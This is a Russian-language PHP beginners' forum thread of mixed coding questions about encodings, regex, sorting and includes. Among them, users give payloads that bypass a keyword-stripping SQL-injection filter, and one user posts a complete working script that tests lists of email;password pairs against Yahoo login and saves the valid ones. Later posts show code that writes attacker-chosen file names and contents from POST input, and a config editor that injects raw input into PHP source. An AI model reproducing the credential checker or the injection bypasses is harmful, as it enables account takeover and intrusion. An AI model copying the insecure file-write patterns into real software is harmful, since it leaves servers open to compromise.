Просмотр полной версии : [php] Новичкам: задаем вопросы
собственно возможно ли объеденить все функции в 1?
чтобы запросы были с проверкой на безопастность...
Да, не изобретать велосипел и использовать встроенные механизмы нормальной работы с БД. google://php pdo mysql
http://phpfaq.ru/slashes#prepared
function filtr($data)
{
$filter = array("select", "delete", "union", "update", "insert","\\", "'", ",", ";", "--", "-", "%20", "%27", " ", "`", "=", "%");
$filter_data = str_replace($filter, "", strtolower($data));
return $filter_data;
}
function sql($query = "", $param = array())
{
if (!is_array($param) || count($param) == 0)
{
return mysql_query(filtr($query));
}
else
{
foreach ($param as $key => $val)
{
$query = str_replace("{".$key."}", $val, $query);
}
return mysql_query(filtr($query));
}
}
tak?
wildshaman
24.04.2010, 13:19
Такое обходится элементарно
selselectect
/*
()
phpdreamer
24.04.2010, 14:53
ну а также UnIoN , upDate и т.п.
нольбайт тож пройдет...
короче, mysql_real_escape_string() (http://yes.iblogger.org/39) в помощь...
только логику скрипта придется переделывать
AtomoS, защита от sql inj легко обходиться в твоем случае, зачем изобретать велосипед, для этого есть соотвествующие функции.
Числовые поля int или intval, текстовые mysql_real_escape_string(), при выводе всех значений на экран обрамлять в htmlspecialchars, вот и все и ненужно, никаких str_replace
2Deathdreams and 2All
Объявил как global так и не решило задачу. Проглядел все твои месаги так и не нашел класса для верификации мыл. Код я набросал за 15 мин, мог бы сделать и ООП, но для тмоей задачи это из пушки по воробъям, если криво-та еще где-то укажи, сам не люблю гавно код. Проблема все таже не отправляеться пост запрос, не получаю куки.
wildshaman
24.04.2010, 15:04
ну а также UnIoN , upDate и т.п.
нольбайт тож пройдет...
Смена регистра не пройдет, в коде strtolower
phpdreamer
24.04.2010, 15:13
Смена регистра не пройдет, в коде strtolower
упс, не заметил
тогда пройдет uni/**/on
Radical Edward
24.04.2010, 16:28
Здравствуйте, наверняка этот вопрос уже задавался, однако, после двух часов поиска, мои успехи ни чуть не изменились.
Заранее скажу, что есть два скрипта : "ВВод" и "Вывод"
Проблемма стара как мир : вставить в MySQL базу кириллические символы.
Суть в том, что я хочу вставить непосредственно со скрипта ВВОДА( написанном на php).
Например, у меня есть "<input type='text'...>", откуда я хочу вытянуть строку и закинуть ее в таблицу.
Кодировка таблицы : utf8_general_ci (пробовал и cp1251)
Кодировка поля в таблице - такая же (Пробовал и cp1251)
mysql_query('SET NAMES cp1251');(или utf8) - поставил сразу после подключения.
если вставлять через PHPMyAdmin - все чудесно вставляется и отображается(как в самом админе, так и в скрипте вывода).
Если вставлять через скрипт ввода, вытягивая строку из текстбокса, то админ отображает нечто такое : "³³³³", а скрипт вывода : "ûâàûâàûâ".
ЧТО Я ДЕЛАЮ НЕ ТАК, на что обратить внимание и вообще...как справиться с проблеммой.
___
version mysql 5,php 5
__
в му.ini везде кодировка стоит cp1251
<?php
header("Content-Type: text/html; charset=utf8");
//....коннект к бд
mysql_query("SET NAMES utf8");
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="POST">
<input type=text name="str" value="" ><input type=submit value="В бд">
</form>
<?php
if(!empty($_POST['str']) && !is_array($_POST['str'])) {
$result = mysql_query("INSERT INTO `table`(str) VALUES('".mysql_real_escape_string($_POST['str'])."')");
if($result == 1) echo "Успешно запостилось";
}
?>
не?
phpdreamer
24.04.2010, 16:40
снестите таблицу, создайте ее заново из бэкапа (пустую, с указаной кодировкой utf-8_general_ci).
а дальше следуйте инструкциям:
1)В файле .htaccess должна быть строка
AddDefaultCharset UTF-8
2)В верху php скрипта
header('Content-Type: text/html; charset=utf-8');
3)В редакторе (среде разработки) не забудьте переключить на UTF-8
4)Сразу после подключения к mysql выполняйте запрос
SET NAMES 'utf8'
источник (http://yes.iblogger.org/9)
1)В файле .htaccess должна быть строка
AddDefaultCharset UTF-8
2)В верху php скрипта
header('Content-Type: text/html; charset=utf-8');
не находишь бредом указывать кодировку 2 раза? =\
это всеравно что
<?php
header("Content-Type: text/html; charset=utf8");
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
...
Radical Edward
24.04.2010, 17:09
Ваш пример работает. Вроде. Но на моем примере чего - то не получается. Скажите, что я сделал не так
CREATE TABLE `Nokia` (
`ID` int(16) NOT NULL auto_increment,
`Mark` varchar(16) default NULL,
`Description` varchar(512) default NULL,
`Photo` blob,
`Price` double NOT NULL,
`Incoming` date default NULL,
`IsEnabled` smallint(1) NOT NULL,
PRIMARY KEY (`ID`),
KEY `ID` (`ID`)
) ENGINE=MyISAM AUTO_INCREMENT=215 DEFAULT CHARSET=cp1251 AUTO_INCREMENT=215 ;
Кста, почему автоинкремент дважды повторяется?
.
.
.
header("Content-Type: text/html; charset=cp1251");
.
.
.
mysql_query("SET NAMES cp1251");
.
.
$Description = htmlentities($_POST['Description_Inp']);
.
.
$QUERY = "Insert into ".$TABLENAME." values
(NULL".",
'".$Mark."',
'".$Description."',
'".$Photo_Data."',
'".$Price."',
'".$Incoming."',
'".$IsEnabled."'
)";
//echo $QUERY;
$result = mysql_query($QUERY, $link);
Как вы уже догадались, вся проблемма в поле Description
Radical Edward
Смотрели какой запрос уходит в базу?
Кстати, description можно сделать TEXT
PS Почему никто патологически не юзает PDO? Это же удобно и о фильтрации ввода позаботились до нас.
бикоз оф писать надо $Description = htmlentities($_POST['Description_Inp'], ENT_QUOTES, "cp1251" );
$query у тебя какой то такой =\
лучше явно указывай, что бы потом не было проблем
INSERT INTO `table`(`Mark`,`Description`,`Photo`,`Price`,`Inco ming`,`IsEnabled`) VALUES(....);
id писать не надо, на то и auto_increment
Radical Edward
24.04.2010, 17:26
$now
Вот то , что идет в базу. То есть, не правильная сама кодировка на странице...
Insert into Nokia values (NULL, 'Ìàðêà', 'Îïèñàíè¸', '', '222.222', '2009-01-22', '1' )
Failure
Исправил, запрос изменился к "лучшему"
Insert into Nokia values (NULL, 'надпись', 'ііі', '', '', '', '0' )
&-#1053;о&-# &-#1091;р&-#1103;м&-#1089;
(без минусов)
У формы добавьте атрибут accept-charset="cp1251" может поможет
Radical Edward
24.04.2010, 17:33
НУ все. После высокого прыжка с бубном, нечто похожее получилось. Скрипт вывода нормально выводит данные после скрипта ввода, однако теперь сам АДМИН не хочет интерпретировать введенные мною символы.
Есть идеи?
Спасибо за предоставленную помощь
Ну так у вас в админе поди utf-8 стоит. А данные то вы вставляете в 1251
апаю пост т.к. ответа не получил, готов даже вознаградить материально того кто поможет
Тема такая нужно написать чекер емалов для yahoo собстно написал, код но проблема в том что пост запрос не отправляеться. Я не давно только начал работать с курл. Есть две функции как видно из листинга первая получает значения вторая отправляет, но вот если первая работает нормально, то вторая отказываеться вообще. Да и в куки помоему вообще ничего не попадает. Вторая функция не отправляет POST запрос вообще.
Собственно код не пинайте сильно
<?php
$cookiefile = tempnam("/tmp", "cookies");
$refer="https://login.yahoo.com/config/login_verify2?&.src=ym";
$username="login";
$password="pass;
$url="https://login.yahoo.com/config/login?";
$agent="Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
function GetData($url){
global $cookiefile,$refer,$url,$agent;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec ($ch);
$answer=preg_match("#hash2(.*?)\<table#is",$result,$match);
preg_match_all('#name="(.*?)"#is',$match[0],$key_match);
preg_match_all("#value=\"(.*?)\"#is",$match[0],$value_match);
foreach($key_match[1] as $key)
foreach($value_match[1] as $value)
$post_array[$key]=$value;
$post_array['login']=$username;
$post_array['passwd']=$password;
$post_array['.Save']="Sign+In";
$post=http_build_query($post_array);
curl_close ($ch);
return $post;
}
function SendData($url,$post,$refer){
global $cookiefile,$refer,$url,$agent,$username,$password ;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec ($ch);
curl_close ($ch);
return $result;
}
$post=GetData(url);
$data=SendData($refer,$post,$refer);
echo $data;
?>
phpdreamer
25.04.2010, 11:20
Gin, этот код нужно переписывать с нуля.
алгоритм такой (без всяких ф-й):
1)отправляем пост запрос с логином и паролем
2)ищем в ответе фразу о неправильном пароле, если ее нет, то все ок
никаких кукисов и юзерагентов там не нужно.
мб. я ошибаюсь, но скорей всего все делается одним запросом.
2phpdreamer 2All
Да так и есть, можно и одним пост запросом, но данные которые грабяться тоже важны. Дело уже даже не в том чтобы написать чекер,а втом чтобы разобраться почему не работает. Если поможешь, то в долгу не останусь, просто я уже много способов перебпробовал.
phpdreamer
25.04.2010, 15:04
не работает потому что https://
restart_05
25.04.2010, 15:19
Имеется слово v267g92hg276ghg_engine. То что выделено красным постоянно меняется. Как можно вырезать из этого слова _engine ?
2phpdreamer
ну так я ставлю эти опции
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
restart_05,
<?php
$word='v267g92hg276ghg_engine';
preg_match('/^(\S+)_engine$/',$word,$m);
print $m[1];
?>
Deathdreams
25.04.2010, 15:23
Имеется слово v267g92hg276ghg_engine. То что выделено красным постоянно меняется. Как можно вырезать из этого слова _engine ?
$string = "v267g92hg276ghg_engine";
$string = preg_replace( "#(.+)_engine#", "\\1", $string );
Или регуляркой:
$string = "v267g92hg276ghg_engine";
preg_match( "#(.+)_engine#", $string, $array );
echo "Result: ".$array[1];
Или:
echo $string = str_replace( '_engine', '', 'v267g92hg276ghg_engine' );
2restart_05
$string="v267g92hg276ghg_engine";
$result=str_replace("_engine","",$string);
restart_05
25.04.2010, 15:26
Спс
phpdreamer
25.04.2010, 15:38
Gin, вот :
<?php
//*простой чекер мыл yahoo.com от phpdreamer (25.04.2010)
$mails = file('file.txt'); //файл с мылами yahoo.com для проверки на валидность ( формат "id;password")
foreach($mails as $str)
{
$mas = explode(';', trim($str));
$email = $mas['0'];
$passw = $mas['1'];
$ch = curl_init('https://login.yahoo.com/config/login?');
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS , '.tries=1&.src=my&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&.u=fuc8gnp5t886p&.v=0&.challenge=PoeEPS58vFdvVdlcxeu6DrGU4XZe&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=0&.chkP=Y&.done=http%3A%2F%2Fmy.yahoo.com&.pd=my_ver%3D0%26c%3DaMtFxUmp2e6zaBL942f2v6LoDw--%26ivt%3D%26sg%3D&login='.$email.'&passwd='.$passw.'&.persistent=y&.save=Sign+In');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION ,1);
curl_setopt($ch, CURLOPT_HEADER ,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER ,1);
curl_setopt ($ch, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
$RecData = curl_exec($ch);
curl_close($ch);
if(strpos($RecData, 'window.location.replace("http://my.yahoo.com");'))
{
$valid = $email .';' . $passw;
$h = fopen('good.txt', 'a+');
fwrite($h, $valid . "\n");
fclose($h);
}
}
general.fox
25.04.2010, 18:25
Может кто нибудь написать пример отправки и получения POST-запроса через сокет?
roxblnfk
25.04.2010, 20:16
general.fox
http://forum.antichat.ru/showpost.php?p=1903166&postcount=14688
InfectedM
26.04.2010, 01:48
Есть index.php с формой, в эту форму я вписываю числа и отправляю их на скррипт qwe.php , этот скрипт должен обрабатать информацию и отправить мне результат обратно на index.php
В голову приходит только мысль сделать переадресацию
$res=2+2;
echo('<script language="JavaScript">');
echo('window.location.href = "./index.php?res='.$res.'"');
echo('</script>');
Но можно как-нибудь сделать что бы эти значения не были видны?
PS нужно обязательно использовать 2 файла.
Там как-нибудь через POST .
только тут формы же нету ,по этому не знаюкак подскажите плзиз.
Всем привет,
При попытке получить страницу (исходник страницы) через cUrl или file_get_contents() получаю в ответ 400 ошибку (Bad request).
Нужно получить исходник вот этой страницы:
http://fotki.yandex.ru/rss/images?skin=rss2&ed=1&stype=image&text=%E0%ED%F2%E8%F7%E0%F2
Теми же самыми средствами без проблем получаю исходники к примеру любого RSS Feed'a от Google Feedburner, а здесь никак :(
В чём может быть проблема?
Заранее благодарен!
phpdreamer
26.04.2010, 08:16
InfectedM,
переадресация header('Location: index.php');
для передачи инфы используй куки (инфу даже можно зашифровать)
-----------------------
OnArs, file_put_contents('tmp.txt', file_get_contents('http://fotki.yandex.ru/rss/images?skin=rss2&ed=1&stype=image&text=%E0%ED%F2%E8%F7%E0%F2'));
OnArs, file_put_contents('tmp.txt', file_get_contents('http://fotki.yandex.ru/rss/images?skin=rss2&ed=1&stype=image&text=%E0%ED%F2%E8%F7%E0%F2'));
А что должно быть в файле tmp.txt?
А что должно быть в файле tmp.txt?
Ничего.
Дык, а толку то тогда? Не работает этот вариант. Я уже и через cURL пробовал, но видимо Яндекс какие то дополнительные заголовки ищет, а Я их не отправляю. Просто не знаю чего ему не хватает.
Не работает этот вариант
Работает
Чорт, спасибо, понял в чём проблема!
Подскажите как перевести строку:
из ачат в %E0%ED%F2%E8%F7%E0%F2
Большое спасибо!
urlencode()
Для обратного преобразования urldecode()
Всем привет.
Пытаюсь сделать антинакрутку.
Но встал вопрос, когда пользователь сидит из под прокси, то прокси равен IP ?
$_SERVER['REMOTE_ADDR'] == $_SERVER['HTTP_X_FORWARDED_FOR'];
а если не из под прокси, то соответственно они не равны?
SHiNiGaMi
26.04.2010, 16:06
Всем привет.
Пытаюсь сделать антинакрутку.
Но встал вопрос, когда пользователь сидит из под прокси, то прокси равен IP ?
$_SERVER['REMOTE_ADDR'] == $_SERVER['HTTP_X_FORWARDED_FOR'];
а если не из под прокси, то соответственно они не равны?
Я думал наоборот 0.о
PenSpinner
26.04.2010, 20:00
такой вопрос: существует файл, в котором пару тысяч вопросов и ответов вида
10, 100, 90, 80, 70 "Серцева недостатність – це стан, при якому:
11, 100 "Серце не може ефективно забезпечити метаболічні потреби організму
12, 0 "Наявна невідповідність між потребою і доставкою кисню до міокарда
13, 0 "Погіршується насосна функція серця
14, 0 "Погіршується здатність до наповнення шлуночків серця
#
20, 100, 90, 80, 70 "Особливості епідеміології серцевої недостатності:
21, 25 "Поширеність у загальній популяції 0,5-4%
22, 25 "Захворюваність 0,15-0,5%
23, 25 "Смертність до 50 на рік
24, 25 "Зростання поширеності залежно від віку
25, 0 "Більшість економічних витрат пов’язані з амбулаторним лікуванням хворих
#
надо расположить их (абзацы, це строчки) в алфавитном порядке (без учёта цифр, ессно). Если первые буквы одинаковые, смотреть вторую, и т.д.
как реализовать?
phpdreamer
26.04.2010, 20:17
$file = file('имя_файла');
foreach($file as $string)
{
$t = explode('"', $string);
if(isset($t['1']))
$txt[] = $t['1'];
}
sort($txt , SORT_STRING);
foreach($txt as $str)
foreach($file as $exp)
{
$e = explode('"', $exp);
if(isset($e['1']))
if($e['1']==$str)
echo $exp.'<br>';
}
шось таке...
PenSpinner
26.04.2010, 20:27
а оно разве не строчки располагает в алф. порядке? мне нужно, чтобы абзацы
ps Warning: Invalid argument supplied for foreach()
ругается на 8ую строчку твоего скрипта
Всем привет. Попробую объяснить свою проблему... Представьте себе ваш любимый браузер, в котором открыта, скажем, пустая вкладка.
Допустим у меня есть скрипт, вполне себе ничем не специфический скрипт, который долго что-то делает (минуту, две). обратимся к нему из браузера. Все как обычно, скрипт выполняется (долго, как я уже сказал), браузер терпеливо ждет ответа.
А теперь если открыть еще одну вкладку, и зайти на этот же сайт (на любую страницу, главное что тот же сервер) - браузер страницу НЕ отдает, ждет, пока выполнится наш первый скрипт, и только после того как он выполнится, загрузится страница во второй вкладке. НО, если открыть сайт в другом браузере, все работает, не дожидаясь выполнения скрипта.
Почему так происходит и как от этого избавиться?
phpdreamer
26.04.2010, 20:52
вот под абзацы
$file = file_get_contents('имя_файла');
$abz = explode('#', $file);
foreach($abz as $a)
{
$exp = explode("\n", $a);
if(is_array($exp))
_sort($exp);
echo '<br><br><br>';
}
function _sort($file)
{
foreach($file as $string)
{
$t = explode('"', $string);
if(isset($t['1']))
$txt[] = $t['1'];
}
if(isset($txt) && is_array($txt))
{
sort($txt , SORT_STRING);
foreach($txt as $str)
foreach($file as $exp)
{
$e = explode('"', $exp);
if(isset($e['1']))
if($e['1']==$str)
echo $exp.'<br>';
}
}
}
PenSpinner
26.04.2010, 21:19
нужно сортировать по алфавиту не строчки в пределах абзаца. нужно сортировать сами абзацы по алфавиту. тоесть, если первый абзац
бббб
аааа
гггг
а второй
ааааа
ввввв
ббббб
то он должен вывести
ааааа
ввввв
ббббб
бббб
аааа
гггг, а не
аааа
бббб
гггг
ааааа
ббббб
ввввв
PenSpinner
По первой букве чтоли? Или последовательно по всем буквам?
PenSpinner
26.04.2010, 23:22
последовательно по всем
Опишите словами алгоритм сравнения абзацей. Я не понимаю.
Всем привет. Попробую объяснить свою проблему... Представьте себе ваш любимый браузер, в котором открыта, скажем, пустая вкладка.
Допустим у меня есть скрипт, вполне себе ничем не специфический скрипт, который долго что-то делает (минуту, две). обратимся к нему из браузера. Все как обычно, скрипт выполняется (долго, как я уже сказал), браузер терпеливо ждет ответа.
А теперь если открыть еще одну вкладку, и зайти на этот же сайт (на любую страницу, главное что тот же сервер) - браузер страницу НЕ отдает, ждет, пока выполнится наш первый скрипт, и только после того как он выполнится, загрузится страница во второй вкладке. НО, если открыть сайт в другом браузере, все работает, не дожидаясь выполнения скрипта.
Почему так происходит и как от этого избавиться?
Ну добавь в урл какой нибудь параметр со случайным значением, с текущим временем к примеру(таймштампом), чтоб браузер вечно думал что это разные адреса
Опишите словами алгоритм сравнения абзацей. Я не понимаю.
Каждый абзац по сути яляется строкой. Заноси все абзацы в массив и сортируй массив как строки по алфавиту...
InfectedM
27.04.2010, 00:33
Тока начал учить пхп,хочу написать простенький сайтик с авторизации.
Нарыл в нете пример авторизации основанный на куках
http://habrahabr.ru/blogs/php/13726/
Допустим у меня есть сайт на нем 10 страниц.
если пользователь авторизован ,то слева (на всех страницах) должна быть статистика с его ником.
елси не авторизован должна быть панелька авторизации.
в голову приходит мысль сравнивать (авторизован или нет) и в левую область выводить соответствующее менюmenu1.html или menu2.html
в menu1.html будет форма авторизации
в menu2.html будет код вида Echo(привет %user%)
может есть другой выход?
как такое лучше реализовать?
ПОдскажите плз
InfectedM
Содержимое chack.php поместить в функцию возвращающую true или false
Далее на каждой странице проверять
if (hasAuth()( {
// выводим приветствие
} else {
// выводим авторизацию
}
Вот такой вопрос:
1. Все скрипты лежат в директории www/
2. Конфиг подключения к бд тут: www/config/db.php
3. Админка тут: www/admin/index.php
Внимание вопрос:
Как в admin/index.php загрузить конфиг бд? Ф-цией include(); но какой путь писать? нужно вернутся в каталог www , зайти в config и подгрузить фаил) как это сделать? ;)
нужно вернутся в каталог www , зайти в config и подгрузить фаил) как это сделать? ;)
require_once "../config/db.php"
Или более продвинутым способом
require_once realpath(dirname(__FILE__) ."../config/db.php"
Народ , появилась такая проблема , необходима с помощью php загружать с удаленного сервера на мой сайт архив zip с информацией размером порядка 100-200мб и распаковывать его , подскажите пожалуйста какими средствами это можно сделать .
[']Народ , появилась такая проблема , необходима с помощью php загружать с удаленного сервера на мой сайт архив zip с информацией размером порядка 100-200мб и распаковывать его , подскажите пожалуйста какими средствами это можно сделать .
http://www.nulled.ws/showthread.php?t=77786
Konqi
Проблема тут скорее будет в том, что 200мб распаковать за один раз не всякий хостинг позволит, точнее виртуальный никакой не позволит.
Нужно как то хитро разбивать процесс на итерации.
Можно еще вопросик?
Нужно через админку редактировать файлы.
Допустим есть файл с настройками типо:
$name = "Название сайта";
$adr = "Адрес сайта";
Теперь нужно через админку отредактировать значение переменных $name и $adr через веб-форму. Ну и что бы в форме заранее отображалось значение переменной.
Deathdreams
27.04.2010, 14:00
Можно еще вопросик?
Нужно через админку редактировать файлы.
Допустим есть файл с настройками типо:
$name = "Название сайта";
$adr = "Адрес сайта";
Теперь нужно через админку отредактировать значение переменных $name и $adr через веб-форму. Ну и что бы в форме заранее отображалось значение переменной.
$cfile = 'config.php'; //файл с настройками
if( isset($_POST['name']) && isset($_POST['addr']) )
{
$name = trim(stripslashes($_POST['name']), PHP_EOL);
$addr = trim(stripslashes($_POST['addr']), PHP_EOL);
$content = file_get_contents( $cfile );
$content = preg_replace( '#\$name\s*=\s*".*";#', '$name = "'.$name.'";', $content );
$content = preg_replace( '#\$adr\s*=\s*".*";#', '$adr = "'.$addr.'";', $content );
if( file_put_contents( $cfile, $content ) )
echo "<font color='red'>Настройки успешно сохранены</font><br><br>"; else
echo "<font color='red'>Настройки сохранить не удалось.</font><br><br>";
}
?>
<form method="post" act="">
$name = <input type="text" name="name">;<br /><br />
$adr = <input type="text" name="addr">;<br />
<input type="submit" value="Сохранить">
Работает, протестил.
PenSpinner
27.04.2010, 17:39
Каждый абзац по сути яляется строкой. Заноси все абзацы в массив и сортируй массив как строки по алфавиту...
да, только без учёта цифр. как реализовать?
ichechen
27.04.2010, 18:45
Почему не работает скрипт? *SCRATCH*
А точнее одна ветка свитча, при запросе:
?OP=UPD&pr1=file_name&pr2=" & "text_to_file"
<?php
$curFn=$_POST['OP'];
$arg_1=$_POST['pr1'];
$arg_2=$_POST['pr2'];
//DO COMPORATION
switch ($curFn)
{
case 'UPD':
$f=fopen("arg_1","w");
$success = fwrite($f, "$arg_2");
fclose($f);
break;
}
exit;
?>
ichechen наверное, потому что вы передаете не ПОСТ запросом данные
Почему не работает скрипт? *SCRATCH*
А точнее одна ветка свитча, при запросе:
script_name.php?OP=UPD&pr1=file_name&pr2=" & "text_to_file"
<?php
$curFn=$_GET['OP'];
$arg_1=$_GET['pr1'];
$arg_2=$_GET['pr2'];
//DO COMPORATION
switch ($curFn)
{
case 'UPD':
$f=fopen("arg_1","w");
$success = fwrite($f, "$arg_2");
fclose($f);
break;
}
exit;
?>
o my god oO
?OP=UPD&pr1=file_name&pr2=text_to_file
<?php
$curFn=$_POST['OP'];
$arg_1=$_POST['pr1'];
$arg_2=$_POST['pr2'];
//DO COMPORATION
switch ($curFn)
{
case 'UPD':
$f=fopen($arg_1,"w");
$success = fwrite($f, $arg_2."\r\n");
fclose($f);
break;
}
exit;
?>
ichechen
27.04.2010, 19:23
ichechen наверное, потому что вы передаете не ПОСТ запросом данные
Да не, я передаю именно ПОСт заросы
request.Method = "POST"
Dim postData As String = "?OP=UPD&pr1=fileName&pr2=" & "text"
Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
request.ContentType = "application/x-www-form-urlencoded"
request.ContentLength = byteArray.Length
Dim dataStream As Stream = request.GetRequestStream()
dataStream.Write(byteArray, 0, byteArray.Length)
dataStream.Close()
Dim response As WebResponse = request.GetResponse()
dataStream = response.GetResponseStream()
Dim reader As New StreamReader(dataStream)
Dim responseFromServer As String = reader.ReadToEnd()
reader.Close()
dataStream.Close()
response.Close()
<?php
$curFn=$_POST['OP'];
$arg_1=$_POST['pr1'];
$arg_2=$_POST['pr2'];
//DO COMPORATION
switch ($curFn)
{
case 'UPD':
$f=fopen($arg_1,"w");
$success = fwrite($f, $arg_2."\r\n");
fclose($f);
break;
}
exit;
?>
Тоже не работает, права установленны правильно! папка 777 скрипт 644, еще варианты?))
.:[melkiy]:.
27.04.2010, 19:33
мб allow_url_fopen off в php.ini?
ichechen
27.04.2010, 19:35
:.']мб allow_url_fopen off в php.ini?
неа))
ichechen
27.04.2010, 19:42
Упс, разобрался
Ошибка не в скрипте оказывается, а тут
Dim postData As String = "?OP=UPD&pr1=fileName&pr2=" & "text"
Знак ? лишьний )
Всем спасибо за внимание ;)
StealthMaster
28.04.2010, 00:16
Всем доброго времени суток!
Ситуация следующая: имеется SQL-скрипт с запросами для создания основных таблиц и представлений базы данных. Возможно ли с помощью PHP целиком "скормить" этот скрипт мускулу или придется выполнять каждый запрос отдельно?
Strilo4ka
28.04.2010, 00:43
Всем доброго времени суток!
Ситуация следующая: имеется SQL-скрипт с запросами для создания основных таблиц и представлений базы данных. Возможно ли с помощью PHP целиком "скормить" этот скрипт мускулу или придется выполнять каждый запрос отдельно?http://www.php.net/manual/en/mysqli.multi-query.php
если я понял правильно задачу, тоесть одним запросом все выполняем...
Всем доброго времени суток!
Ситуация следующая: имеется SQL-скрипт с запросами для создания основных таблиц и представлений базы данных. Возможно ли с помощью PHP целиком "скормить" этот скрипт мускулу или придется выполнять каждый запрос отдельно?
mysql_query(file_get_contents('dump.sql'))
ichechen
28.04.2010, 05:57
Кто нить знает почему не получается перезаписать текстовый файл созданный скриптом php на сервере, содержащий utf-8 текст и имеющий расширение .asd ))) (при работе через тотал коммандер) пишет что не может закачать и все ;)
PenSpinner
28.04.2010, 08:26
да, только без учёта цифр. как реализовать?
очень уж срочно надо. помогите!
Кто нить знает почему не получается перезаписать текстовый файл созданный скриптом php на сервере, содержащий utf-8 текст и имеющий расширение .asd ))) (при работе через тотал коммандер) пишет что не может закачать и все ;)
возможно, прав не хватает
StealthMaster
28.04.2010, 15:21
mysql_query(file_get_contents('dump.sql'))
Такой запрос не проходит...
Попробовал его на простейшем sql скрипте:
CREATE TABLE STUDENTS(
N_STUDENTSBOOK INT PRIMARY KEY,
LAST_NAME CHAR(15),
FIRST_NAME CHAR(10),
PATRONYMIC CHAR(15),
N_GROUP INT,
CELL CHAR(10),
CHECK (N_GROUP IN (41,42, 43, 44, 45)));
CREATE TABLE STUDIES(
N_STUDY INT PRIMARY KEY,
STUDY CHAR(20),
TEACHER_LASTNAME CHAR(15),
CHECK (N_STUDY > 0));
CREATE TABLE SESSION(
N_STUDENTSBOOK INT,
N_STUDY INT,
MARK INT,
PRIMARY KEY (N_STUDENTSBOOK, N_STUDY),
FOREIGN KEY (N_STUDENTSBOOK) REFERENCES STUDENTS(N_STUDENTSBOOK),
FOREIGN KEY (N_STUDY) REFERENCES STUDIES(N_STUDY),
CHECK (MARK IN (2, 3, 4 ,5)));
и на дампе базы данных полученной с помощью этого скрипта:
-- MySQL dump 10.11
--
-- Host: localhost Database: university
-- ------------------------------------------------------
-- Server version 5.0.67-community-nt
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `session`
--
DROP TABLE IF EXISTS `session`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `session` (
`N_STUDENTSBOOK` int(11) NOT NULL default '0',
`N_STUDY` int(11) NOT NULL default '0',
`MARK` int(11) default NULL,
PRIMARY KEY (`N_STUDENTSBOOK`,`N_STUDY`),
KEY `N_STUDY` (`N_STUDY`),
CONSTRAINT `session_ibfk_1` FOREIGN KEY (`N_STUDENTSBOOK`) REFERENCES `students` (`N_STUDENTSBOOK`),
CONSTRAINT `session_ibfk_2` FOREIGN KEY (`N_STUDY`) REFERENCES `studies` (`N_STUDY`)
) ENGINE=InnoDB DEFAULT CHARSET=cp1251;
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `session`
--
LOCK TABLES `session` WRITE;
/*!40000 ALTER TABLE `session` DISABLE KEYS */;
/*!40000 ALTER TABLE `session` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `students`
--
DROP TABLE IF EXISTS `students`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `students` (
`N_STUDENTSBOOK` int(11) NOT NULL,
`LAST_NAME` char(15) default NULL,
`FIRST_NAME` char(10) default NULL,
`PATRONYMIC` char(15) default NULL,
`N_GROUP` int(11) default NULL,
`CELL` char(10) default NULL,
PRIMARY KEY (`N_STUDENTSBOOK`)
) ENGINE=InnoDB DEFAULT CHARSET=cp1251;
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `students`
--
LOCK TABLES `students` WRITE;
/*!40000 ALTER TABLE `students` DISABLE KEYS */;
/*!40000 ALTER TABLE `students` ENABLE KEYS */;
UNLOCK TABLES;
--
